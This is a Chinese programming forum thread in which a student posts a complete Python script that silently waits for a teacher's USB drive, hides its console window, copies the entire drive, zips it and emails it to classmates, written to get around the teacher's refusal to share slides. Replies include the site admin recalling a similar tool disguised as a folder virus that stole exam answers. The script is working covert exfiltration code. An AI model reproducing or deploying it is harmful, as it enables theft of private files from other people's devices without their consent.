找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 3288|回复: 7

【Python】拷贝课件

[复制链接]

29

主题

315

回帖

1561

积分

用户组: 上·技术宅

UID
3808
精华
11
威望
105 点
宅币
702 个
贡献
165 次
宅之契约
0 份
在线时间
404 小时
注册时间
2018-5-6
发表于 2019-5-8 23:32:40 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有账号?立即注册→加入我们

×
本帖最后由 watermelon 于 2019-5-8 23:36 编辑

这学期核电子学课程内容非常多,并且对于大多数同学不是很容易来进行学习,一般来说我们喜欢课后用U盘拷贝老师的课件来进行课后复习或者考前突击。但是很蛋疼的是核电子学老师居然不让拷课件,她说课上认真听讲课下看书就行了,课件上的东西在课上都讲过了,这让我们大家感觉比较恼火。
所以我就想自己能不能通过Python来写一段小程序来把课件拷贝下来呢,当老师的U盘插入电脑,识别到后就先将U盘里的文件拷贝到D盘里的一个文件夹中,然后对这个文件进行压缩,以便后续发邮件使用。为什么使用Python呢,因为这段时间我有要用到Python来做课程设计的科学计算了,小白写一个简单的程序而又使其功能强大,这个时候绝对可以考虑脚本语言例如Python!


下面讨论一下这段程序怎么进行编制呢?

1.首先主要功能是识别U盘插入并且对U盘中的文件进行拷贝:我对于识别U盘的是否插入处理的比较简单,一般电脑都是有3个盘(C: D: E:),那么U盘插入到电脑上的时候就会成为F盘。我用一个死循环+break来使程序一直运行下去,在运行的过程中一直用os.path.exists('F:')方法对电脑进行查询是否有F盘。如果有F盘,则说明U盘已经插入,进行后续的处理;否则表示U盘还没有插入,这个时候程序一直循环下去。由于是死循环,为了防止CPU使用率过高,适当的利用sleep函数是有必要的,并且我还根据CPU不同的使用率来适当调整sleep的时间,当CPU使用率小于25%时候,sleep0.5秒,高于25%时候睡眠1秒。拷贝U盘里的全部文件就用到了shutil.copytree方法,这个使用起来非常方便!

2.为了增强用户体验并且锻炼编程能力,我想再增加一个拷贝完成后给用户发送邮件来进行提示。具体流程是:当在D盘中拷贝完所有的文件后,对其进行压缩,以附件的形式发到指定的用户列表中,这样就可以避免下课后再拿个U盘来拷课件,老师还以为你问她问题的尴尬。发送邮件可以使用Python的smtplib库和email库,我使用的是网易邮箱来进行发送邮件,因此我的网易有想要事先开通授权码,否则会接收到“没有权限的”报错!

3.网易邮箱发送邮件附件有一个限制,就是附件大小好像不能够大于20MB(163邮箱说的最大附件可以到3G,难道是因为我没有充钱的缘故?),所以当我第一次发送打包的邮件时候写上try except,如果发送不了,就对已经从U盘中拷贝下来所有的文件中筛选文件后缀名称是.ppt和.pptx的文件,如果该后缀名结尾的文件大小大于15MB的就不要了,把剩下的所有挑选下来的PPT打成压缩包进行附件的发送,此时就有比较大的几率发送成功了,但是如果还是发送不成功就给用户发送一封致歉信并且说明让用户下课在老师走后去电脑上用U盘拷贝下课件。
网易邮箱.png

4.为了程序的隐蔽性适当的隐藏控制台窗口使其运行(其实这个可以在pyinstaller打包时候进行参数设置),ctypes可以调用win32中的dll进行编程,也是很方便。

具体程序如下:
  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-

  3. import os
  4. import os.path
  5. import shutil
  6. from time import sleep
  7. from email.header import Header
  8. from email.mime.text import MIMEText
  9. from email.mime.base import MIMEBase
  10. from email.mime.multipart import MIMEMultipart
  11. from email import encoders
  12. from email.utils import parseaddr, formataddr
  13. import smtplib
  14. import psutil
  15. import uuid
  16. import ctypes


  17. # Copy files and zip them.
  18. def copy_zip():
  19.     # Use the UUID to name a folder.
  20.     filename = str(uuid.uuid1())
  21.     while True:
  22.         if os.path.exists('F:'):
  23.             print('USB disk has been detected.')
  24.             try:
  25.                 shutil.copytree('F:','D:\\'+filename)
  26.                 print("Files have been copied successfully.")
  27.                 break
  28.             except Exception:
  29.                 print('Error in copy_zip function, this circle will be exited')
  30.                 break
  31.         else:
  32.             print("Can't detect a USB disk on the PC now")
  33.         
  34.         # if the usage of CPU is higher than 25%, sleep 1 seconds.
  35.         if psutil.cpu_percent() <= 25:
  36.             sleep(0.5)    # Sleep 0.5 seconds
  37.         else:
  38.             sleep(1)      # Sleep 1 seconds
  39.         print('Continue searching...')


  40.     # Build the ZIP file
  41.     shutil.make_archive(r'D:\email','zip','D:\\',filename)
  42.     print('ZIP file is ready.')
  43.     return 'D:\\' + filename


  44. # if the size of zip is too large to email, choose the PowerPoint files to email.
  45. def get_ppt(filepath):
  46.     os.chdir(filepath)
  47.     target = ['.ppt', '.pptx']
  48.     for each_file in os.listdir(os.curdir):
  49.         extension = os.path.splitext(each_file)[1]
  50.         # If single file size larger than 15MB, pass.
  51.         if (not os.path.isdir(each_file)) and os.path.getsize(each_file)/(1024*1024) >= 15:
  52.             continue
  53.         
  54.         if extension in target:
  55.             try:
  56.                 shutil.copy(os.path.abspath(each_file), 'D:\\PPTtarget')
  57.             except:
  58.                 pass
  59.         if os.path.isdir(each_file):
  60.             get_ppt(each_file)
  61.             os.chdir(os.pardir)
  62.    
  63.     shutil.make_archive(r'D:\PPT', 'zip', 'D:\\','PPTtarget')



  64. # Sending Email with Attachments.
  65. def send_file(attachfile_path):
  66.     sender = 'starlight_chou@163.com'
  67.     access_code = '*********'

  68.     receiver = ['2015572934@qq.com', '1483551760@qq.com']
  69.     smtpserver = 'smtp.163.com'
  70.     subject = 'Python coding is passion coding, yeah!'

  71.     msg = MIMEMultipart()
  72.     msg['Subject'] = Header(subject, 'utf-8')
  73.     msg['From'] = sender
  74.     msg['To'] = ','.join(receiver)


  75.     # Add Attachment files to the Email.
  76.     with open(attachfile_path,'rb') as f:
  77.         mime = MIMEBase('zipfile', 'zip', filename = 'HDZXKJ.zip')
  78.         mime.add_header('Content-Disposition', 'attachment', filename = 'HDZXKJ.zip')
  79.         mime.add_header('Content-ID','<0>')
  80.         mime.add_header('X-Attachment-Id', '0')
  81.         mime.set_payload(f.read())
  82.         encoders.encode_base64(mime)
  83.         msg.attach(mime)

  84.     try:
  85.         smtp = smtplib.SMTP()
  86.         smtp.connect(smtpserver)
  87.         smtp.login(sender,access_code)
  88.         smtp.sendmail(sender,msg['To'].split(','),msg.as_string())
  89.         smtp.quit()
  90.         print("Email has sent successfully!")
  91.         return True
  92.     except:
  93.         print('Error in send_file function')
  94.         return False

  95. # Because of the attachment size is larger than 20MB that
  96. # can't have a transform through the 163.com.
  97. # So send a sorry to user and let him copy the file with the USB disk.
  98. def send_sorry():
  99.     sender = 'starlight_chou@163.com'
  100.     access_code = '*********'

  101.     receiver = ['2015572934@qq.com', '3207299524@qq.com']
  102.     smtpserver = 'smtp.163.com'
  103.     subject = 'Python coding is passion coding, yeah!'

  104.     msg = MIMEText('So sorry that the file is too large to email, please copy the zip folder with your USB disk','plain','utf-8')

  105.     msg['Subject'] = Header(subject, 'utf-8')
  106.     msg['From'] = sender
  107.     msg['To'] = ','.join(receiver)
  108.    
  109.     try:
  110.         smtp = smtplib.SMTP()
  111.         smtp.connect(smtpserver)
  112.         smtp.login(sender,access_code)
  113.         smtp.sendmail(sender,msg['To'].split(','),msg.as_string())
  114.         smtp.quit()
  115.         print('success')
  116.     except:
  117.         pass




  118. if __name__ == '__main__':
  119.     print("Let's Begin!")
  120.     sleep(2)

  121.     # Hide the running console.
  122.     h_console = ctypes.windll.kernel32.GetConsoleWindow()
  123.     if h_console != 0:
  124.         ctypes.windll.user32.ShowWindow(h_console,0)
  125.    
  126.     # Begin!
  127.     filepath = copy_zip()
  128.     if send_file('D:\\email.zip') == True:
  129.         print('Done!')
  130.     else:
  131.         print("ERROR, Maybe the size of ZIP is too large to email")
  132.         print("Please use the USB disk to copy the files")
  133.         print("Now try to only email the PPT files in the folder")
  134.         get_ppt(filepath)
  135.         sleep(2)
  136.         if send_file('D:\\PPT.zip') == False:
  137.             send_sorry()

  138.     print('Good Bye')

  139.     # Release the handle of Console.
  140.     ctypes.windll.kernel32.CloseHandle(h_console)


复制代码

由于网易邮箱的授权码属于隐私,所以小弟就打上星号了,请各位见谅。

当晚写好了程序,用pyinstaller3.4打包成exe(包含很多库文件)在我的win10(装有Python3.7)和win7 x64虚拟机上试运行都完美运行,很是满足睡觉,但是第二天去课上给电脑运行却出现了没有办法运行的情况! 出错.jpg
当晚舍友找我要课件时候我没有就遭到了嘲讽?我百度了一些,没有实质性的解决方法,如果有大佬能够指导一下这个错误还是非常感激的!
我在电脑上下载了Python3.7的安装包,给学校的电脑装上了Python,同时用pip安装上了程序中使用到的第三方库,最终可以运行下来了,囧rz。

帖子中有很多不足欢迎各位大佬指正并且欢迎大家讨论!

参考文献:
《Python可以这样学》 董付国  清华大学出版社
Python教程-廖雪峰的官方网站:https://www.liaoxuefeng.com/wiki/1016959663602400
Python 3.7.2 documentation
Passion Coding!
回复

使用道具 举报

30

主题

207

回帖

2734

积分

用户组: 版主

UID
1821
精华
7
威望
69 点
宅币
2118 个
贡献
206 次
宅之契约
0 份
在线时间
470 小时
注册时间
2016-7-12
发表于 2019-6-23 18:28:14 | 显示全部楼层
点下查看问题详细信息 看看啥错误 我不是很擅长脚本语言的调试 更没学过py 但是解决运行错误 找出原因还是很擅长的
回复 赞! 1 靠! 0

使用道具 举报

1109

主题

1649

回帖

7万

积分

用户组: 管理员

一只技术宅

UID
1
精华
244
威望
743 点
宅币
24180 个
贡献
46222 次
宅之契约
0 份
在线时间
2294 小时
注册时间
2014-1-26
发表于 2019-5-9 01:59:41 | 显示全部楼层
多年前高中那会儿我用VB6写的。拷贝能力很稳。有一次月考答案被扒了,学校没查出来谁干的。不过后来老师不敢在U盘里存重要文件了。

那会儿流行一种病毒,假装自己是文件夹的那种。我的程序假装自己就是那个病毒。

现在情况应该不一样了。
回复 赞! 靠!

使用道具 举报

1

主题

40

回帖

311

积分

用户组: 中·技术宅

UID
2054
精华
0
威望
21 点
宅币
200 个
贡献
28 次
宅之契约
0 份
在线时间
28 小时
注册时间
2016-11-10
发表于 2019-5-9 02:06:14 | 显示全部楼层
2333这个还行
话说跨平台的话建议go啊,不用下载依赖了
(虽然我自己没用过go(逃
回复 赞! 靠!

使用道具 举报

29

主题

315

回帖

1561

积分

用户组: 上·技术宅

UID
3808
精华
11
威望
105 点
宅币
702 个
贡献
165 次
宅之契约
0 份
在线时间
404 小时
注册时间
2018-5-6
 楼主| 发表于 2019-5-9 12:39:04 | 显示全部楼层
0xAA55 发表于 2019-5-9 01:59
多年前高中那会儿我用VB6写的。拷贝能力很稳。有一次月考答案被扒了,学校没查出来谁干的。不过后来老师不 ...

感谢站长鼓励!没想到有过类似的经历
说实话老师的U盘里的确有挺多重要文件的,我实际上在课后又到电脑上把拷贝的文件删除掉了,因为不想造成一些麻烦,并且邮件附件中的文件我也是只看PPT,其他的资料不敢看也不想看了。
Passion Coding!
回复 赞! 靠!

使用道具 举报

29

主题

315

回帖

1561

积分

用户组: 上·技术宅

UID
3808
精华
11
威望
105 点
宅币
702 个
贡献
165 次
宅之契约
0 份
在线时间
404 小时
注册时间
2018-5-6
 楼主| 发表于 2019-5-9 12:41:24 | 显示全部楼层
大能猫 发表于 2019-5-9 02:06
2333这个还行
话说跨平台的话建议go啊,不用下载依赖了
(虽然我自己没用过go(逃 ...

回大能猫老哥:go语言我看到过几本书讲他,但是目前实在没有时间和经历去学习这个了呢,说实话用pip给学校电脑下载安装库的时候别的同学不懂还以为我在搞什么高科技(控制台的那个进度条和代码很炫酷是吧),顺便装了个比(逃
Passion Coding!
回复 赞! 靠!

使用道具 举报

30

主题

207

回帖

2734

积分

用户组: 版主

UID
1821
精华
7
威望
69 点
宅币
2118 个
贡献
206 次
宅之契约
0 份
在线时间
470 小时
注册时间
2016-7-12
发表于 2019-6-23 18:26:32 | 显示全部楼层
0xAA55 发表于 2019-5-9 01:59
多年前高中那会儿我用VB6写的。拷贝能力很稳。有一次月考答案被扒了,学校没查出来谁干的。不过后来老师不 ...

伪装文件夹的病毒还是很流行不过现在的国内的各种卫士都可以防,不过国外很过知名杀毒软件却不可以!
回复 赞! 靠!

使用道具 举报

29

主题

315

回帖

1561

积分

用户组: 上·技术宅

UID
3808
精华
11
威望
105 点
宅币
702 个
贡献
165 次
宅之契约
0 份
在线时间
404 小时
注册时间
2018-5-6
 楼主| 发表于 2019-8-12 00:00:00 | 显示全部楼层
Ayala 发表于 2019-6-23 18:28
点下查看问题详细信息 看看啥错误 我不是很擅长脚本语言的调试 更没学过py 但是解决运行错误 找出原因还是 ...

感谢大佬关注此贴,抱歉这么久才想好回复,话说我当初也居然没有点击“查看问题详细信息”,只有等开学咯。
Passion Coding!
回复 赞! 靠!

使用道具 举报

QQ|Archiver|小黑屋|技术宅的结界 ( 滇ICP备16008837号 )|网站地图

GMT+8, 2024-3-29 22:25 , Processed in 0.042729 second(s), 35 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表